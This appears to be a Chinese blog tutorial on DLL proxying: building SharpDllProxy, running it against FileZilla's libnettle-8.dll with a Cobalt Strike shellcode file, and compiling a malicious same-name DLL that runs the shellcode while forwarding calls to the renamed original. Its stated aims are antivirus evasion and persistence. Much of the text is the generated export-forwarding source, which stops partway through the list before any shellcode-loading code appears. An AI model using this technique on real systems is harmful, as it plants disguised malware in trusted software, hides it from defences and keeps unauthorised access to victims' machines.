DLL代理加载shellcode实践

在程序开发过程中往往会使用第三方库，大多数第三方库会提供DLL(动态链接库)文件，因此程序需要相应的DLL文件才能启动，通过Dll代理将正常dll替换为欸一dll，可以进行免杀或权限维持

找出运行必须的dll文件

依照DLL代理加载shellcod用于免杀，维权等等中的例子下载Filezilla，将fzsftp.exe放到单独文件夹运行，找到运行必须的libnettle-8.dll文件

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编译SharpDllProxy

下载SharpDllProxy后用Visual Stuio 2019打开SharpDllProxy.sln

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编译生成SharpDllProxy.exe

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生成代理Dll

指定目标dll文件后生成libnettle-8_pragma.c和tmp2BF5.dll，payload.bin为cs生成的raw格式shellcode。

1
sharpdllproxy.exe --dll E:\dllproxy\libnettle-8.dll --payload E:\dllproxy\payload.bin

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在vs中新建动态链接库将生成的libnettle-8_pragma.c代码复制后编译生成可执行shellcode的同名dll文件用以顶替原有的libnettle-8.dll文件

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成功执行shellcode需要4个文件,fzsftp.exe调用替换后的恶意libnettle-8.dll文件后从payload.bin中读取shellcode后执行，tmp2BF5.dll即原来正常的libnettle-8.dll文件，保证程序正常运行

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原理分析

用vs打开libnettle-8_pragma.c后查看代码，开头调用了400多个tmp2BF5.dll中的函数以保证文件的正常运行

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#include "pch.h"
#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:_nettle_aeads=tmp2BF5._nettle_aeads,@1")
#pragma comment(linker, "/export:_nettle_aes_decrypt=tmp2BF5._nettle_aes_decrypt,@2")
#pragma comment(linker, "/export:_nettle_aes_decrypt_aesni=tmp2BF5._nettle_aes_decrypt_aesni,@3")
#pragma comment(linker, "/export:_nettle_aes_decrypt_x86_64=tmp2BF5._nettle_aes_decrypt_x86_64,@4")
#pragma comment(linker, "/export:_nettle_aes_encrypt=tmp2BF5._nettle_aes_encrypt,@5")
#pragma comment(linker, "/export:_nettle_aes_encrypt_aesni=tmp2BF5._nettle_aes_encrypt_aesni,@6")
#pragma comment(linker, "/export:_nettle_aes_encrypt_table=tmp2BF5._nettle_aes_encrypt_table,@7")
#pragma comment(linker, "/export:_nettle_aes_encrypt_x86_64=tmp2BF5._nettle_aes_encrypt_x86_64,@8")
#pragma comment(linker, "/export:_nettle_aes_invert=tmp2BF5._nettle_aes_invert,@9")
#pragma comment(linker, "/export:_nettle_aes_set_key=tmp2BF5._nettle_aes_set_key,@10")
#pragma comment(linker, "/export:_nettle_armors=tmp2BF5._nettle_armors,@11")
#pragma comment(linker, "/export:_nettle_camellia_absorb=tmp2BF5._nettle_camellia_absorb,@12")
#pragma comment(linker, "/export:_nettle_camellia_crypt=tmp2BF5._nettle_camellia_crypt,@13")
#pragma comment(linker, "/export:_nettle_camellia_invert_key=tmp2BF5._nettle_camellia_invert_key,@14")
#pragma comment(linker, "/export:_nettle_camellia_table=tmp2BF5._nettle_camellia_table,@15")
#pragma comment(linker, "/export:_nettle_chacha_core=tmp2BF5._nettle_chacha_core,@16")
#pragma comment(linker, "/export:_nettle_ciphers=tmp2BF5._nettle_ciphers,@17")
#pragma comment(linker, "/export:_nettle_cpuid=tmp2BF5._nettle_cpuid,@18")
#pragma comment(linker, "/export:_nettle_ctr_crypt16=tmp2BF5._nettle_ctr_crypt16,@19")
#pragma comment(linker, "/export:_nettle_gcm_hash8=tmp2BF5._nettle_gcm_hash8,@20")
#pragma comment(linker, "/export:_nettle_gost28147_encrypt_block=tmp2BF5._nettle_gost28147_encrypt_block,@21")
#pragma comment(linker, "/export:_nettle_gost28147_param_CryptoPro_3411=tmp2BF5._nettle_gost28147_param_CryptoPro_3411,@22")
#pragma comment(linker, "/export:_nettle_gost28147_param_test_3411=tmp2BF5._nettle_gost28147_param_test_3411,@23")
#pragma comment(linker, "/export:_nettle_hashes=tmp2BF5._nettle_hashes,@24")
#pragma comment(linker, "/export:_nettle_macs=tmp2BF5._nettle_macs,@25")
#pragma comment(linker, "/export:_nettle_memxor_sse2=tmp2BF5._nettle_memxor_sse2,@26")
#pragma comment(linker, "/export:_nettle_memxor_x86_64=tmp2BF5._nettle_memxor_x86_64,@27")
#pragma comment(linker, "/export:_nettle_poly1305_block=tmp2BF5._nettle_poly1305_block,@28")
#pragma comment(linker, "/export:_nettle_poly1305_digest=tmp2BF5._nettle_poly1305_digest,@29")
#pragma comment(linker, "/export:_nettle_poly1305_set_key=tmp2BF5._nettle_poly1305_set_key,@30")
#pragma comment(linker, "/export:_nettle_ripemd160_compress=tmp2BF5._nettle_ripemd160_compress,@31")
#pragma comment(linker, "/export:_nettle_salsa20_core=tmp2BF5._nettle_salsa20_core,@32")
#pragma comment(linker, "/export:_nettle_sha1_compress_sha_ni=tmp2BF5._nettle_sha1_compress_sha_ni,@33")
#pragma comment(linker, "/export:_nettle_sha1_compress_x86_64=tmp2BF5._nettle_sha1_compress_x86_64,@34")
#pragma comment(linker, "/export:_nettle_sha256_compress=tmp2BF5._nettle_sha256_compress,@35")
#pragma comment(linker, "/export:_nettle_sha256_compress_sha_ni=tmp2BF5._nettle_sha256_compress_sha_ni,@36")
#pragma comment(linker, "/export:_nettle_sha256_compress_x86_64=tmp2BF5._nettle_sha256_compress_x86_64,@37")
#pragma comment(linker, "/export:_nettle_sha3_pad=tmp2BF5._nettle_sha3_pad,@38")
#pragma comment(linker, "/export:_nettle_sha3_update=tmp2BF5._nettle_sha3_update,@39")
#pragma comment(linker, "/export:_nettle_sha512_compress=tmp2BF5._nettle_sha512_compress,@40")
#pragma comment(linker, "/export:_nettle_umac_l2=tmp2BF5._nettle_umac_l2,@41")
#pragma comment(linker, "/export:_nettle_umac_l2_final=tmp2BF5._nettle_umac_l2_final,@42")
#pragma comment(linker, "/export:_nettle_umac_l2_init=tmp2BF5._nettle_umac_l2_init,@43")
#pragma comment(linker, "/export:_nettle_umac_l3=tmp2BF5._nettle_umac_l3,@44")
#pragma comment(linker, "/export:_nettle_umac_l3_init=tmp2BF5._nettle_umac_l3_init,@45")
#pragma comment(linker, "/export:_nettle_umac_nh=tmp2BF5._nettle_umac_nh,@46")
#pragma comment(linker, "/export:_nettle_umac_nh_n=tmp2BF5._nettle_umac_nh_n,@47")
#pragma comment(linker, "/export:_nettle_umac_poly128=tmp2BF5._nettle_umac_poly128,@48")
#pragma comment(linker, "/export:_nettle_umac_poly64=tmp2BF5._nettle_umac_poly64,@49")
#pragma comment(linker, "/export:_nettle_umac_set_key=tmp2BF5._nettle_umac_set_key,@50")
#pragma comment(linker, "/export:_nettle_write_be32=tmp2BF5._nettle_write_be32,@51")
#pragma comment(linker, "/export:_nettle_write_le32=tmp2BF5._nettle_write_le32,@52")
#pragma comment(linker, "/export:_nettle_write_le64=tmp2BF5._nettle_write_le64,@53")
#pragma comment(linker, "/export:nettle_MD5Final=tmp2BF5.nettle_MD5Final,@54")
#pragma comment(linker, "/export:nettle_MD5Init=tmp2BF5.nettle_MD5Init,@55")
#pragma comment(linker, "/export:nettle_MD5Update=tmp2BF5.nettle_MD5Update,@56")
#pragma comment(linker, "/export:nettle_aes128=tmp2BF5.nettle_aes128,@57")
#pragma comment(linker, "/export:nettle_aes128_decrypt=tmp2BF5.nettle_aes128_decrypt,@58")
#pragma comment(linker, "/export:nettle_aes128_encrypt=tmp2BF5.nettle_aes128_encrypt,@59")
#pragma comment(linker, "/export:nettle_aes128_invert_key=tmp2BF5.nettle_aes128_invert_key,@60")
#pragma comment(linker, "/export:nettle_aes128_set_decrypt_key=tmp2BF5.nettle_aes128_set_decrypt_key,@61")
#pragma comment(linker, "/export:nettle_aes128_set_encrypt_key=tmp2BF5.nettle_aes128_set_encrypt_key,@62")
#pragma comment(linker, "/export:nettle_aes192=tmp2BF5.nettle_aes192,@63")
#pragma comment(linker, "/export:nettle_aes192_decrypt=tmp2BF5.nettle_aes192_decrypt,@64")
#pragma comment(linker, "/export:nettle_aes192_encrypt=tmp2BF5.nettle_aes192_encrypt,@65")
#pragma comment(linker, "/export:nettle_aes192_invert_key=tmp2BF5.nettle_aes192_invert_key,@66")
#pragma comment(linker, "/export:nettle_aes192_set_decrypt_key=tmp2BF5.nettle_aes192_set_decrypt_key,@67")
#pragma comment(linker, "/export:nettle_aes192_set_encrypt_key=tmp2BF5.nettle_aes192_set_encrypt_key,@68")
#pragma comment(linker, "/export:nettle_aes256=tmp2BF5.nettle_aes256,@69")
#pragma comment(linker, "/export:nettle_aes256_decrypt=tmp2BF5.nettle_aes256_decrypt,@70")
#pragma comment(linker, "/export:nettle_aes256_encrypt=tmp2BF5.nettle_aes256_encrypt,@71")
#pragma comment(linker, "/export:nettle_aes256_invert_key=tmp2BF5.nettle_aes256_invert_key,@72")
#pragma comment(linker, "/export:nettle_aes256_set_decrypt_key=tmp2BF5.nettle_aes256_set_decrypt_key,@73")
#pragma comment(linker, "/export:nettle_aes256_set_encrypt_key=tmp2BF5.nettle_aes256_set_encrypt_key,@74")
#pragma comment(linker, "/export:nettle_aes_decrypt=tmp2BF5.nettle_aes_decrypt,@75")
#pragma comment(linker, "/export:nettle_aes_encrypt=tmp2BF5.nettle_aes_encrypt,@76")
#pragma comment(linker, "/export:nettle_aes_invert_key=tmp2BF5.nettle_aes_invert_key,@77")
#pragma comment(linker, "/export:nettle_aes_set_decrypt_key=tmp2BF5.nettle_aes_set_decrypt_key,@78")
#pragma comment(linker, "/export:nettle_aes_set_encrypt_key=tmp2BF5.nettle_aes_set_encrypt_key,@79")
#pragma comment(linker, "/export:nettle_arcfour128_set_key=tmp2BF5.nettle_arcfour128_set_key,@80")
#pragma comment(linker, "/export:nettle_arcfour_crypt=tmp2BF5.nettle_arcfour_crypt,@81")
#pragma comment(linker, "/export:nettle_arcfour_set_key=tmp2BF5.nettle_arcfour_set_key,@82")
#pragma comment(linker, "/export:nettle_arctwo128=tmp2BF5.nettle_arctwo128,@83")
#pragma comment(linker, "/export:nettle_arctwo128_set_key=tmp2BF5.nettle_arctwo128_set_key,@84")
#pragma comment(linker, "/export:nettle_arctwo128_set_key_gutmann=tmp2BF5.nettle_arctwo128_set_key_gutmann,@85")
#pragma comment(linker, "/export:nettle_arctwo40=tmp2BF5.nettle_arctwo40,@86")
#pragma comment(linker, "/export:nettle_arctwo40_set_key=tmp2BF5.nettle_arctwo40_set_key,@87")
#pragma comment(linker, "/export:nettle_arctwo64=tmp2BF5.nettle_arctwo64,@88")
#pragma comment(linker, "/export:nettle_arctwo64_set_key=tmp2BF5.nettle_arctwo64_set_key,@89")
#pragma comment(linker, "/export:nettle_arctwo_decrypt=tmp2BF5.nettle_arctwo_decrypt,@90")
#pragma comment(linker, "/export:nettle_arctwo_encrypt=tmp2BF5.nettle_arctwo_encrypt,@91")
#pragma comment(linker, "/export:nettle_arctwo_gutmann128=tmp2BF5.nettle_arctwo_gutmann128,@92")
#pragma comment(linker, "/export:nettle_arctwo_set_key=tmp2BF5.nettle_arctwo_set_key,@93")
#pragma comment(linker, "/export:nettle_arctwo_set_key_ekb=tmp2BF5.nettle_arctwo_set_key_ekb,@94")
#pragma comment(linker, "/export:nettle_arctwo_set_key_gutmann=tmp2BF5.nettle_arctwo_set_key_gutmann,@95")
#pragma comment(linker, "/export:nettle_base16=tmp2BF5.nettle_base16,@96")
#pragma comment(linker, "/export:nettle_base16_decode_final=tmp2BF5.nettle_base16_decode_final,@97")
#pragma comment(linker, "/export:nettle_base16_decode_init=tmp2BF5.nettle_base16_decode_init,@98")
#pragma comment(linker, "/export:nettle_base16_decode_single=tmp2BF5.nettle_base16_decode_single,@99")
#pragma comment(linker, "/export:nettle_base16_decode_update=tmp2BF5.nettle_base16_decode_update,@100")
#pragma comment(linker, "/export:nettle_base16_encode_single=tmp2BF5.nettle_base16_encode_single,@101")
#pragma comment(linker, "/export:nettle_base16_encode_update=tmp2BF5.nettle_base16_encode_update,@102")
#pragma comment(linker, "/export:nettle_base64=tmp2BF5.nettle_base64,@103")
#pragma comment(linker, "/export:nettle_base64_decode_final=tmp2BF5.nettle_base64_decode_final,@104")
#pragma comment(linker, "/export:nettle_base64_decode_init=tmp2BF5.nettle_base64_decode_init,@105")
#pragma comment(linker, "/export:nettle_base64_decode_single=tmp2BF5.nettle_base64_decode_single,@106")
#pragma comment(linker, "/export:nettle_base64_decode_update=tmp2BF5.nettle_base64_decode_update,@107")
#pragma comment(linker, "/export:nettle_base64_encode_final=tmp2BF5.nettle_base64_encode_final,@108")
#pragma comment(linker, "/export:nettle_base64_encode_group=tmp2BF5.nettle_base64_encode_group,@109")
#pragma comment(linker, "/export:nettle_base64_encode_init=tmp2BF5.nettle_base64_encode_init,@110")
#pragma comment(linker, "/export:nettle_base64_encode_raw=tmp2BF5.nettle_base64_encode_raw,@111")
#pragma comment(linker, "/export:nettle_base64_encode_single=tmp2BF5.nettle_base64_encode_single,@112")
#pragma comment(linker, "/export:nettle_base64_encode_update=tmp2BF5.nettle_base64_encode_update,@113")
#pragma comment(linker, "/export:nettle_base64url=tmp2BF5.nettle_base64url,@114")
#pragma comment(linker, "/export:nettle_base64url_decode_init=tmp2BF5.nettle_base64url_decode_init,@115")
#pragma comment(linker, "/export:nettle_base64url_encode_init=tmp2BF5.nettle_base64url_encode_init,@116")
#pragma comment(linker, "/export:nettle_blowfish128_set_key=tmp2BF5.nettle_blowfish128_set_key,@117")
#pragma comment(linker, "/export:nettle_blowfish_decrypt=tmp2BF5.nettle_blowfish_decrypt,@118")
#pragma comment(linker, "/export:nettle_blowfish_encrypt=tmp2BF5.nettle_blowfish_encrypt,@119")
#pragma comment(linker, "/export:nettle_blowfish_set_key=tmp2BF5.nettle_blowfish_set_key,@120")
#pragma comment(linker, "/export:nettle_buffer_clear=tmp2BF5.nettle_buffer_clear,@121")
#pragma comment(linker, "/export:nettle_buffer_copy=tmp2BF5.nettle_buffer_copy,@122")
#pragma comment(linker, "/export:nettle_buffer_grow=tmp2BF5.nettle_buffer_grow,@123")
#pragma comment(linker, "/export:nettle_buffer_init=tmp2BF5.nettle_buffer_init,@124")
#pragma comment(linker, "/export:nettle_buffer_init_realloc=tmp2BF5.nettle_buffer_init_realloc,@125")
#pragma comment(linker, "/export:nettle_buffer_init_size=tmp2BF5.nettle_buffer_init_size,@126")
#pragma comment(linker, "/export:nettle_buffer_reset=tmp2BF5.nettle_buffer_reset,@127")
#pragma comment(linker, "/export:nettle_buffer_space=tmp2BF5.nettle_buffer_space,@128")
#pragma comment(linker, "/export:nettle_buffer_write=tmp2BF5.nettle_buffer_write,@129")
#pragma comment(linker, "/export:nettle_camellia128=tmp2BF5.nettle_camellia128,@130")
#pragma comment(linker, "/export:nettle_camellia128_crypt=tmp2BF5.nettle_camellia128_crypt,@131")
#pragma comment(linker, "/export:nettle_camellia128_invert_key=tmp2BF5.nettle_camellia128_invert_key,@132")
#pragma comment(linker, "/export:nettle_camellia128_set_encrypt_key=tmp2BF5.nettle_camellia128_set_encrypt_key,@133")
#pragma comment(linker, "/export:nettle_camellia192=tmp2BF5.nettle_camellia192,@134")
#pragma comment(linker, "/export:nettle_camellia192_set_decrypt_key=tmp2BF5.nettle_camellia192_set_decrypt_key,@135")
#pragma comment(linker, "/export:nettle_camellia192_set_encrypt_key=tmp2BF5.nettle_camellia192_set_encrypt_key,@136")
#pragma comment(linker, "/export:nettle_camellia256=tmp2BF5.nettle_camellia256,@137")
#pragma comment(linker, "/export:nettle_camellia256_crypt=tmp2BF5.nettle_camellia256_crypt,@138")
#pragma comment(linker, "/export:nettle_camellia256_invert_key=tmp2BF5.nettle_camellia256_invert_key,@139")
#pragma comment(linker, "/export:nettle_camellia256_set_decrypt_key=tmp2BF5.nettle_camellia256_set_decrypt_key,@140")
#pragma comment(linker, "/export:nettle_camellia256_set_encrypt_key=tmp2BF5.nettle_camellia256_set_encrypt_key,@141")
#pragma comment(linker, "/export:nettle_camellia_set_decrypt_key=tmp2BF5.nettle_camellia_set_decrypt_key,@142")
#pragma comment(linker, "/export:nettle_cast128=tmp2BF5.nettle_cast128,@143")
#pragma comment(linker, "/export:nettle_cast128_decrypt=tmp2BF5.nettle_cast128_decrypt,@144")
#pragma comment(linker, "/export:nettle_cast128_encrypt=tmp2BF5.nettle_cast128_encrypt,@145")
#pragma comment(linker, "/export:nettle_cast128_set_key=tmp2BF5.nettle_cast128_set_key,@146")
#pragma comment(linker, "/export:nettle_cast5_set_key=tmp2BF5.nettle_cast5_set_key,@147")
#pragma comment(linker, "/export:nettle_cbc_decrypt=tmp2BF5.nettle_cbc_decrypt,@148")
#pragma comment(linker, "/export:nettle_cbc_encrypt=tmp2BF5.nettle_cbc_encrypt,@149")
#pragma comment(linker, "/export:nettle_ccm_aes128_decrypt=tmp2BF5.nettle_ccm_aes128_decrypt,@150")
#pragma comment(linker, "/export:nettle_ccm_aes128_decrypt_message=tmp2BF5.nettle_ccm_aes128_decrypt_message,@151")
#pragma comment(linker, "/export:nettle_ccm_aes128_digest=tmp2BF5.nettle_ccm_aes128_digest,@152")
#pragma comment(linker, "/export:nettle_ccm_aes128_encrypt=tmp2BF5.nettle_ccm_aes128_encrypt,@153")
#pragma comment(linker, "/export:nettle_ccm_aes128_encrypt_message=tmp2BF5.nettle_ccm_aes128_encrypt_message,@154")
#pragma comment(linker, "/export:nettle_ccm_aes128_set_key=tmp2BF5.nettle_ccm_aes128_set_key,@155")
#pragma comment(linker, "/export:nettle_ccm_aes128_set_nonce=tmp2BF5.nettle_ccm_aes128_set_nonce,@156")
#pragma comment(linker, "/export:nettle_ccm_aes128_update=tmp2BF5.nettle_ccm_aes128_update,@157")
#pragma comment(linker, "/export:nettle_ccm_aes192_decrypt=tmp2BF5.nettle_ccm_aes192_decrypt,@158")
#pragma comment(linker, "/export:nettle_ccm_aes192_decrypt_message=tmp2BF5.nettle_ccm_aes192_decrypt_message,@159")
#pragma comment(linker, "/export:nettle_ccm_aes192_digest=tmp2BF5.nettle_ccm_aes192_digest,@160")
#pragma comment(linker, "/export:nettle_ccm_aes192_encrypt=tmp2BF5.nettle_ccm_aes192_encrypt,@161")
#pragma comment(linker, "/export:nettle_ccm_aes192_encrypt_message=tmp2BF5.nettle_ccm_aes192_encrypt_message,@162")
#pragma comment(linker, "/export:nettle_ccm_aes192_set_key=tmp2BF5.nettle_ccm_aes192_set_key,@163")
#pragma comment(linker, "/export:nettle_ccm_aes192_set_nonce=tmp2BF5.nettle_ccm_aes192_set_nonce,@164")
#pragma comment(linker, "/export:nettle_ccm_aes192_update=tmp2BF5.nettle_ccm_aes192_update,@165")
#pragma comment(linker, "/export:nettle_ccm_aes256_decrypt=tmp2BF5.nettle_ccm_aes256_decrypt,@166")
#pragma comment(linker, "/export:nettle_ccm_aes256_decrypt_message=tmp2BF5.nettle_ccm_aes256_decrypt_message,@167")
#pragma comment(linker, "/export:nettle_ccm_aes256_digest=tmp2BF5.nettle_ccm_aes256_digest,@168")
#pragma comment(linker, "/export:nettle_ccm_aes256_encrypt=tmp2BF5.nettle_ccm_aes256_encrypt,@169")
#pragma comment(linker, "/export:nettle_ccm_aes256_encrypt_message=tmp2BF5.nettle_ccm_aes256_encrypt_message,@170")
#pragma comment(linker, "/export:nettle_ccm_aes256_set_key=tmp2BF5.nettle_ccm_aes256_set_key,@171")
#pragma comment(linker, "/export:nettle_ccm_aes256_set_nonce=tmp2BF5.nettle_ccm_aes256_set_nonce,@172")
#pragma comment(linker, "/export:nettle_ccm_aes256_update=tmp2BF5.nettle_ccm_aes256_update,@173")
#pragma comment(linker, "/export:nettle_ccm_decrypt=tmp2BF5.nettle_ccm_decrypt,@174")
#pragma comment(linker, "/export:nettle_ccm_decrypt_message=tmp2BF5.nettle_ccm_decrypt_message,@175")
#pragma comment(linker, "/export:nettle_ccm_digest=tmp2BF5.nettle_ccm_digest,@176")
#pragma comment(linker, "/export:nettle_ccm_encrypt=tmp2BF5.nettle_ccm_encrypt,@177")
#pragma comment(linker, "/export:nettle_ccm_encrypt_message=tmp2BF5.nettle_ccm_encrypt_message,@178")
#pragma comment(linker, "/export:nettle_ccm_set_nonce=tmp2BF5.nettle_ccm_set_nonce,@179")
#pragma comment(linker, "/export:nettle_ccm_update=tmp2BF5.nettle_ccm_update,@180")
#pragma comment(linker, "/export:nettle_cfb8_decrypt=tmp2BF5.nettle_cfb8_decrypt,@181")
#pragma comment(linker, "/export:nettle_cfb8_encrypt=tmp2BF5.nettle_cfb8_encrypt,@182")
#pragma comment(linker, "/export:nettle_cfb_decrypt=tmp2BF5.nettle_cfb_decrypt,@183")
#pragma comment(linker, "/export:nettle_cfb_encrypt=tmp2BF5.nettle_cfb_encrypt,@184")
#pragma comment(linker, "/export:nettle_chacha_crypt=tmp2BF5.nettle_chacha_crypt,@185")
#pragma comment(linker, "/export:nettle_chacha_crypt32=tmp2BF5.nettle_chacha_crypt32,@186")
#pragma comment(linker, "/export:nettle_chacha_poly1305=tmp2BF5.nettle_chacha_poly1305,@187")
#pragma comment(linker, "/export:nettle_chacha_poly1305_decrypt=tmp2BF5.nettle_chacha_poly1305_decrypt,@188")
#pragma comment(linker, "/export:nettle_chacha_poly1305_digest=tmp2BF5.nettle_chacha_poly1305_digest,@189")
#pragma comment(linker, "/export:nettle_chacha_poly1305_encrypt=tmp2BF5.nettle_chacha_poly1305_encrypt,@190")
#pragma comment(linker, "/export:nettle_chacha_poly1305_set_key=tmp2BF5.nettle_chacha_poly1305_set_key,@191")
#pragma comment(linker, "/export:nettle_chacha_poly1305_set_nonce=tmp2BF5.nettle_chacha_poly1305_set_nonce,@192")
#pragma comment(linker, "/export:nettle_chacha_poly1305_update=tmp2BF5.nettle_chacha_poly1305_update,@193")
#pragma comment(linker, "/export:nettle_chacha_set_counter=tmp2BF5.nettle_chacha_set_counter,@194")
#pragma comment(linker, "/export:nettle_chacha_set_counter32=tmp2BF5.nettle_chacha_set_counter32,@195")
#pragma comment(linker, "/export:nettle_chacha_set_key=tmp2BF5.nettle_chacha_set_key,@196")
#pragma comment(linker, "/export:nettle_chacha_set_nonce=tmp2BF5.nettle_chacha_set_nonce,@197")
#pragma comment(linker, "/export:nettle_chacha_set_nonce96=tmp2BF5.nettle_chacha_set_nonce96,@198")
#pragma comment(linker, "/export:nettle_cmac128_digest=tmp2BF5.nettle_cmac128_digest,@199")
#pragma comment(linker, "/export:nettle_cmac128_init=tmp2BF5.nettle_cmac128_init,@200")
#pragma comment(linker, "/export:nettle_cmac128_set_key=tmp2BF5.nettle_cmac128_set_key,@201")
#pragma comment(linker, "/export:nettle_cmac128_update=tmp2BF5.nettle_cmac128_update,@202")
#pragma comment(linker, "/export:nettle_cmac64_digest=tmp2BF5.nettle_cmac64_digest,@203")
#pragma comment(linker, "/export:nettle_cmac64_init=tmp2BF5.nettle_cmac64_init,@204")
#pragma comment(linker, "/export:nettle_cmac64_set_key=tmp2BF5.nettle_cmac64_set_key,@205")
#pragma comment(linker, "/export:nettle_cmac64_update=tmp2BF5.nettle_cmac64_update,@206")
#pragma comment(linker, "/export:nettle_cmac_aes128=tmp2BF5.nettle_cmac_aes128,@207")
#pragma comment(linker, "/export:nettle_cmac_aes128_digest=tmp2BF5.nettle_cmac_aes128_digest,@208")
#pragma comment(linker, "/export:nettle_cmac_aes128_set_key=tmp2BF5.nettle_cmac_aes128_set_key,@209")
#pragma comment(linker, "/export:nettle_cmac_aes128_update=tmp2BF5.nettle_cmac_aes128_update,@210")
#pragma comment(linker, "/export:nettle_cmac_aes256=tmp2BF5.nettle_cmac_aes256,@211")
#pragma comment(linker, "/export:nettle_cmac_aes256_digest=tmp2BF5.nettle_cmac_aes256_digest,@212")
#pragma comment(linker, "/export:nettle_cmac_aes256_set_key=tmp2BF5.nettle_cmac_aes256_set_key,@213")
#pragma comment(linker, "/export:nettle_cmac_aes256_update=tmp2BF5.nettle_cmac_aes256_update,@214")
#pragma comment(linker, "/export:nettle_cmac_des3=tmp2BF5.nettle_cmac_des3,@215")
#pragma comment(linker, "/export:nettle_cmac_des3_digest=tmp2BF5.nettle_cmac_des3_digest,@216")
#pragma comment(linker, "/export:nettle_cmac_des3_set_key=tmp2BF5.nettle_cmac_des3_set_key,@217")
#pragma comment(linker, "/export:nettle_cmac_des3_update=tmp2BF5.nettle_cmac_des3_update,@218")
#pragma comment(linker, "/export:nettle_cnd_memcpy=tmp2BF5.nettle_cnd_memcpy,@219")
#pragma comment(linker, "/export:nettle_ctr_crypt=tmp2BF5.nettle_ctr_crypt,@220")
#pragma comment(linker, "/export:nettle_des3_decrypt=tmp2BF5.nettle_des3_decrypt,@221")
#pragma comment(linker, "/export:nettle_des3_encrypt=tmp2BF5.nettle_des3_encrypt,@222")
#pragma comment(linker, "/export:nettle_des3_set_key=tmp2BF5.nettle_des3_set_key,@223")
#pragma comment(linker, "/export:nettle_des_check_parity=tmp2BF5.nettle_des_check_parity,@224")
#pragma comment(linker, "/export:nettle_des_decrypt=tmp2BF5.nettle_des_decrypt,@225")
#pragma comment(linker, "/export:nettle_des_encrypt=tmp2BF5.nettle_des_encrypt,@226")
#pragma comment(linker, "/export:nettle_des_fix_parity=tmp2BF5.nettle_des_fix_parity,@227")
#pragma comment(linker, "/export:nettle_des_set_key=tmp2BF5.nettle_des_set_key,@228")
#pragma comment(linker, "/export:nettle_eax_aes128=tmp2BF5.nettle_eax_aes128,@229")
#pragma comment(linker, "/export:nettle_eax_aes128_decrypt=tmp2BF5.nettle_eax_aes128_decrypt,@230")
#pragma comment(linker, "/export:nettle_eax_aes128_digest=tmp2BF5.nettle_eax_aes128_digest,@231")
#pragma comment(linker, "/export:nettle_eax_aes128_encrypt=tmp2BF5.nettle_eax_aes128_encrypt,@232")
#pragma comment(linker, "/export:nettle_eax_aes128_set_key=tmp2BF5.nettle_eax_aes128_set_key,@233")
#pragma comment(linker, "/export:nettle_eax_aes128_set_nonce=tmp2BF5.nettle_eax_aes128_set_nonce,@234")
#pragma comment(linker, "/export:nettle_eax_aes128_update=tmp2BF5.nettle_eax_aes128_update,@235")
#pragma comment(linker, "/export:nettle_eax_decrypt=tmp2BF5.nettle_eax_decrypt,@236")
#pragma comment(linker, "/export:nettle_eax_digest=tmp2BF5.nettle_eax_digest,@237")
#pragma comment(linker, "/export:nettle_eax_encrypt=tmp2BF5.nettle_eax_encrypt,@238")
#pragma comment(linker, "/export:nettle_eax_set_key=tmp2BF5.nettle_eax_set_key,@239")
#pragma comment(linker, "/export:nettle_eax_set_nonce=tmp2BF5.nettle_eax_set_nonce,@240")
#pragma comment(linker, "/export:nettle_eax_update=tmp2BF5.nettle_eax_update,@241")
#pragma comment(linker, "/export:nettle_gcm_aes128=tmp2BF5.nettle_gcm_aes128,@242")
#pragma comment(linker, "/export:nettle_gcm_aes128_decrypt=tmp2BF5.nettle_gcm_aes128_decrypt,@243")
#pragma comment(linker, "/export:nettle_gcm_aes128_digest=tmp2BF5.nettle_gcm_aes128_digest,@244")
#pragma comment(linker, "/export:nettle_gcm_aes128_encrypt=tmp2BF5.nettle_gcm_aes128_encrypt,@245")
#pragma comment(linker, "/export:nettle_gcm_aes128_set_iv=tmp2BF5.nettle_gcm_aes128_set_iv,@246")
#pragma comment(linker, "/export:nettle_gcm_aes128_set_key=tmp2BF5.nettle_gcm_aes128_set_key,@247")
#pragma comment(linker, "/export:nettle_gcm_aes128_update=tmp2BF5.nettle_gcm_aes128_update,@248")
#pragma comment(linker, "/export:nettle_gcm_aes192=tmp2BF5.nettle_gcm_aes192,@249")
#pragma comment(linker, "/export:nettle_gcm_aes192_decrypt=tmp2BF5.nettle_gcm_aes192_decrypt,@250")
#pragma comment(linker, "/export:nettle_gcm_aes192_digest=tmp2BF5.nettle_gcm_aes192_digest,@251")
#pragma comment(linker, "/export:nettle_gcm_aes192_encrypt=tmp2BF5.nettle_gcm_aes192_encrypt,@252")
#pragma comment(linker, "/export:nettle_gcm_aes192_set_iv=tmp2BF5.nettle_gcm_aes192_set_iv,@253")
#pragma comment(linker, "/export:nettle_gcm_aes192_set_key=tmp2BF5.nettle_gcm_aes192_set_key,@254")
#pragma comment(linker, "/export:nettle_gcm_aes192_update=tmp2BF5.nettle_gcm_aes192_update,@255")
#pragma comment(linker, "/export:nettle_gcm_aes256=tmp2BF5.nettle_gcm_aes256,@256")
#pragma comment(linker, "/export:nettle_gcm_aes256_decrypt=tmp2BF5.nettle_gcm_aes256_decrypt,@257")
#pragma comment(linker, "/export:nettle_gcm_aes256_digest=tmp2BF5.nettle_gcm_aes256_digest,@258")
#pragma comment(linker, "/export:nettle_gcm_aes256_encrypt=tmp2BF5.nettle_gcm_aes256_encrypt,@259")
#pragma comment(linker, "/export:nettle_gcm_aes256_set_iv=tmp2BF5.nettle_gcm_aes256_set_iv,@260")
#pragma comment(linker, "/export:nettle_gcm_aes256_set_key=tmp2BF5.nettle_gcm_aes256_set_key,@261")
#pragma comment(linker, "/export:nettle_gcm_aes256_update=tmp2BF5.nettle_gcm_aes256_update,@262")
#pragma comment(linker, "/export:nettle_gcm_aes_decrypt=tmp2BF5.nettle_gcm_aes_decrypt,@263")
#pragma comment(linker, "/export:nettle_gcm_aes_digest=tmp2BF5.nettle_gcm_aes_digest,@264")
#pragma comment(linker, "/export:nettle_gcm_aes_encrypt=tmp2BF5.nettle_gcm_aes_encrypt,@265")
#pragma comment(linker, "/export:nettle_gcm_aes_set_iv=tmp2BF5.nettle_gcm_aes_set_iv,@266")
#pragma comment(linker, "/export:nettle_gcm_aes_set_key=tmp2BF5.nettle_gcm_aes_set_key,@267")
#pragma comment(linker, "/export:nettle_gcm_aes_update=tmp2BF5.nettle_gcm_aes_update,@268")
#pragma comment(linker, "/export:nettle_gcm_camellia128=tmp2BF5.nettle_gcm_camellia128,@269")
#pragma comment(linker, "/export:nettle_gcm_camellia128_decrypt=tmp2BF5.nettle_gcm_camellia128_decrypt,@270")
